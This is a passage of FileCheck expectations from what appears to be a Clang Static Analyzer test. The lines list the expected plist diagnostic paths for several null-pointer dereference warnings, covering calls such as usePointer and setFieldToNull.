// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>22</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning from 'getZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Returning from 'getZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>22</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Passing null pointer value via 1st parameter 'p'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Passing null pointer value via 1st parameter 'p'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>23</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Calling 'usePointer'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Calling 'usePointer'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>96</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Entered call from 'testUseOfNullPointer'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Entered call from 'testUseOfNullPointer'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>96</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>96</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>97</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>97</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>97</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>97</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>97</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>97</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>97</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>97</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>97</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'p')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'p')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer (loaded from variable 'p')</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>567151df0ae29b0f0e1a412114d544dc</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>usePointer</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>1</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>97</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>117</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>117</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>117</integer>
// CHECK-NEXT: <key>col</key><integer>19</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Calling 'setFieldToNull'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Calling 'setFieldToNull'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>112</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Entered call from 'testSetFieldToNull'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Entered call from 'testSetFieldToNull'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>112</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>112</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>113</integer>
// CHECK-NEXT: <key>col</key><integer>2</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>113</integer>
// CHECK-NEXT: <key>col</key><integer>2</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>113</integer>
// CHECK-NEXT: <key>col</key><integer>2</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>113</integer>
// CHECK-NEXT: <key>col</key><integer>2</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>113</integer>
// CHECK-NEXT: <key>col</key><integer>9</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Null pointer value stored to field 'p'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Null pointer value stored to field 'p'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>117</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>117</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>117</integer>
// CHECK-NEXT: <key>col</key><integer>19</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning from 'setFieldToNull'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Returning from 'setFieldToNull'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>117</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>117</integer>
// CHECK-NEXT: <key>col</key><integer>16</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>119</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>119</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>119</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>119</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>119</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>119</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>119</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>119</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>119</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from field 'p')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from field 'p')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer (loaded from field 'p')</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>7849ab11af99aee1e3603a24ae95cdfd</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>testSetFieldToNull</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>3</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>119</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>131</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>131</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>131</integer>
// CHECK-NEXT: <key>col</key><integer>25</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Null pointer value stored to field 'p'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Null pointer value stored to field 'p'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>131</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>131</integer>
// CHECK-NEXT: <key>col</key><integer>12</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>132</integer>
// CHECK-NEXT: <key>col</key><integer>24</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>132</integer>
// CHECK-NEXT: <key>col</key><integer>24</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>132</integer>
// CHECK-NEXT: <key>col</key><integer>24</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>132</integer>
// CHECK-NEXT: <key>col</key><integer>22</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>132</integer>
// CHECK-NEXT: <key>col</key><integer>22</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from field 'p')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from field 'p')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer (loaded from field 'p')</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>3ccb5e7e2cc82aba5c28a1cc873c83a1</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>test</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>2</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>132</integer>
// CHECK-NEXT: <key>col</key><integer>24</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>137</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>137</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>137</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>137</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>137</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>137</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>137</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Assuming pointer value is null</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Assuming pointer value is null</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>137</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>137</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>139</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>139</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>139</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>139</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>139</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
